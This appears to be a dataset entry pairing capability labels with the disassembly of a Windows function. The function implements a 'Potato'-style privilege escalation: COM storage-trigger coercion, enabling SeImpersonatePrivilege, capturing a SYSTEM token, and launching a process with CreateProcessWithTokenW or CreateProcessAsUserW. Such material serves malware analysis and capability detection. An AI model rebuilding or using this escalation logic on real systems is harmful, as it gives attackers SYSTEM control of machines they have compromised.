Function at 0x1400027c0
Capabilities:
Create process on windows
Create thread
Impersonate user

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rsp - 0x360]
sub rsp, 0x460
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x350], rax
mov ecx, 0x30
call fcn.1400034b8
mov qword [rsp + 0x78], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
mov rcx, rax
call fcn.1400017d0
mov rsi, rax
lea rax, [rsp + 0x68]
mov qword [rsp + 0x28], rax
xor r14d, r14d
mov dword [rsp + 0x20], r14d
mov r9, rsi
lea r8, [0x140001970]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
cmp dword [0x14002c038], r14d
jne 0x14000286a
mov r8, qword [0x14002c050]
mov rdx, qword [0x14002c058]
lea rcx, str.Testing__S__S_n
call fcn.140001590
lea rax, [rsp + 0x68]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r14d
mov r9, rsi
lea r8, [0x140001960]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitialize]
mov qword [rsp + 0x68], r14
mov qword [rsp + 0x70], r14
lea r8, [rsp + 0x70]
mov edx, 1
xor ecx, ecx
call qword [sym.imp.ole32.dll_CreateILockBytesOnHGlobal]
lea r9, [rsp + 0x68]
xor r8d, r8d
mov edx, 0x1012
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ole32.dll_StgCreateDocfileOnILockBytes]
mov ecx, 0x20
call fcn.1400034b8
mov qword [rsp + 0x78], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
mov rcx, qword [rsp + 0x68]
lea rdx, vtable.IStorageTrigger.1.0
mov qword [rax], rdx
lea rbx, [rax + 8]
lea rdx, vtable.IStorageTrigger.0
mov qword [rbx], rdx
mov qword [rax + 0x10], rcx
mov dword [rax + 0x18], 1
lea rdx, [rbp + 8]
mov rcx, qword [0x14002c058]
call qword [sym.imp.ole32.dll_CLSIDFromString]
lea rdx, [rbp + 0x18]
lea rcx, str.00000000_0000_0000_C000_000000000046
call qword [sym.imp.ole32.dll_CLSIDFromString]
lea rax, [rbp + 0x18]
mov qword [rbp + 0x28], rax
mov qword [rbp + 0x30], r14
mov dword [rbp + 0x38], r14d
lea rax, [rbp + 0x28]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], rbx
mov r9d, 4
xor r8d, r8d
lea rdx, [rbp + 8]
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoGetInstanceFromIStorage]
mov ecx, 1
call fcn.14000a9cc
mov rcx, rax
call fcn.14000d568
lea r12, [0x14002c028]
lea r15, str.winsta0default
nop word [rax + rax]
mov rax, qword [rsi + 0x10]
mov edx, dword [rax + 8]
cmp edx, 0xffffffff
je 0x140002990
cmp dword [0x14002c038], r14d
jne 0x1400029b1
lea rcx, str._n___authresult__d_n
call fcn.140001590
mov ecx, 1
call fcn.14000a9cc
mov rcx, rax
call fcn.14000d568
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp - 0x80]
mov edx, 0xf01ff
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140002eac
mov rbx, qword [rbp - 0x80]
lea r8, [rbp + 0x40]
lea rdx, str.SeImpersonatePrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
jne 0x140002a07
lea rcx, str.Priv_Lookup_FALSE_n
jmp 0x140002a47
mov dword [rbp + 8], 1
mov rax, qword [rbp + 0x40]
mov qword [rbp + 0xc], rax
mov dword [rbp + 0x14], 2
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r14
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 8]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x140002a4c
lea rcx, str.Priv_Adjust_FALSE_n
call fcn.140001590
mov rbx, qword [rbp - 0x80]
lea r8, [rbp + 0x48]
lea rdx, str.SeAssignPrimaryTokenPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
jne 0x140002a70
lea rcx, str.Priv_Lookup_FALSE_n
jmp 0x140002ab0
mov dword [rbp + 0x18], 1
mov rax, qword [rbp + 0x48]
mov qword [rbp + 0x1c], rax
mov dword [rbp + 0x24], 2
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r14
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0x18]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x140002ab5
lea rcx, str.Priv_Adjust_FALSE_n
call fcn.140001590
mov dword [rbp], r14d
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp - 0x78]
mov edx, 0xf01ff
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov rcx, qword [rsi + 0x10]
lea rdx, [0x14002c030]
mov rcx, qword [rcx]
call qword [sym.imp.Secur32.dll_QuerySecurityContextToken]
mov rdi, qword [0x14002c030]
mov dword [rsp + 0x60], r14d
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 1]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov eax, dword [rsp + 0x60]
test eax, eax
je 0x140002be3
mov ecx, eax
call fcn.14000a8a4
mov rbx, rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x60]
mov r8, rbx
mov edx, 1
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov rcx, qword [rbx]
call qword [sym.imp.ADVAPI32.dll_GetLengthSid]
mov ecx, eax
mov dword [rsp + 0x60], ecx
call fcn.14000a8a4
mov rdi, rax
mov r8, qword [rbx]
mov rdx, rax
mov ecx, dword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_CopySid]
mov dword [rsp + 0x68], 0x3f
mov dword [rbp + 4], 0x3f
lea rax, [rsp + 0x70]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 4]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0xd0]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x68]
lea r8, [rbp + 0x50]
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupAccountSidW]
mov rcx, rdi
call fcn.14000a890
lea r9, [rbp + 0x50]
lea r8, [rbp + 0xd0]
mov rdx, qword [0x14002c058]
lea rcx, str._S__S_S_n
call fcn.140001590
lea rdx, str.SYSTEM
lea rcx, [rbp + 0x50]
call fcn.14000d064
cmp dword [0x14002c038], r14d
jne 0x140002ea5
lea rax, [rbp]
mov qword [rsp + 0x20], rax
mov r9d, 4
lea r8, [rsp + 0x78]
lea edx, [r9 + 4]
mov rcx, qword [0x14002c030]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
cmp dword [rbp], r14d
jne 0x140002c2f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Error_getting_token_type:_error_code_0x_lx_n
call fcn.140001590
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], 1
mov r9d, 2
xor r8d, r8d
mov edx, 0xf01ff
mov rcx, qword [0x14002c030]
call qword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
mov ebx, eax
lea rax, [rbp]
mov qword [rsp + 0x20], rax
mov r9d, 4
lea r8, [rsp + 0x78]
lea edx, [r9 + 4]
mov rcx, qword [0x14002c028]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
cmp dword [rbp], r14d
jne 0x140002c98
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error_getting_token_type:_error_code_0x_lx_n
call fcn.140001590
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], rax
movups xmmword [rbp + 0x28], xmm0
mov qword [rbp + 0x38], rax
mov dword [rbp - 0x70], 0x68
mov qword [rbp - 0x60], r15
call qword [sym.imp.KERNEL32.dll_WTSGetActiveConsoleSessionId]
mov ecx, 1
call fcn.14000a9cc
mov rcx, rax
call fcn.14000d568
mov rax, qword [0x14002c008]
lea rdx, [rbp + 0x150]
sub rdx, rax
nop word [rax + rax]
movzx ecx, word [rax]
mov word [rdx + rax], cx
lea rax, [rax + 2]
test cx, cx
jne 0x140002d00
mov r9, qword [0x14002c010]
test r9, r9
je 0x140002d60
mov r8d, 1
lea rdx, [0x140026258]
lea rcx, [rbp + 0x150]
call fcn.14000cf40
mov rdx, qword [0x14002c010]
mov r8, 0xffffffffffffffff
inc r8
cmp word [rdx + r8*2], r14w
jne 0x140002d43
lea rcx, [rbp + 0x150]
call fcn.14000cf40
mov r9, qword [0x14002c010]
mov rax, qword [0x14002c018]
movzx ecx, word [rax]
cmp cx, 0x74
je 0x140002d76
cmp cx, 0x2a
jne 0x140002dd2
lea rax, [rbp + 0x28]
mov qword [rsp + 0x40], rax
lea rax, [rbp - 0x70]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], r14d
mov r8, qword [0x14002c008]
xor edx, edx
mov rcx, qword [0x14002c028]
call qword [sym.imp.ADVAPI32.dll_CreateProcessWithTokenW]
mov ebx, eax
test eax, eax
jne 0x140002e95
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._n____CreateProcessWithTokenW_Failed_to_create_proc:__d_n
call fcn.140001590
mov rax, qword [0x14002c018]
movzx ecx, word [rax]
cmp cx, 0x75
je 0x140002e17
cmp cx, 0x2a
je 0x140002e17
test ebx, ebx
je 0x140002ea1
lea rcx, str.Waiting_for_auth...
call fcn.140001590
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call fcn.14000a9cc
mov rcx, rax
call fcn.14000d568
jmp 0x140002990
lea rax, [rbp + 0x28]
mov qword [rsp + 0x50], rax
lea rax, [rbp - 0x70]
mov qword [rsp + 0x48], rax
lea rax, [0x1400262c0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r14
mov dword [rsp + 0x30], r14d
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
xor r9d, r9d
lea r8, [rbp + 0x150]
mov rdx, qword [0x14002c008]
mov rcx, qword [0x14002c028]
call qword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
mov ebx, eax
test eax, eax
jne 0x140002e85
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._n____CreateProcessAsUser_Failed_to_create_proc:__d_n
call fcn.140001590
mov eax, ebx
jmp 0x140002eae
lea rcx, str._n___CreateProcessAsUser_OK_n
call fcn.140001590
mov eax, ebx
jmp 0x140002eae
lea rcx, str._n___CreateProcessWithTokenW_OK_n
call fcn.140001590
mov eax, ebx
jmp 0x140002eae
mov eax, 1
jmp 0x140002eae
xor eax, eax
mov rcx, qword [rbp + 0x350]
xor rcx, rsp
call fcn.1400032f0
lea r11, [rsp + 0x460]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret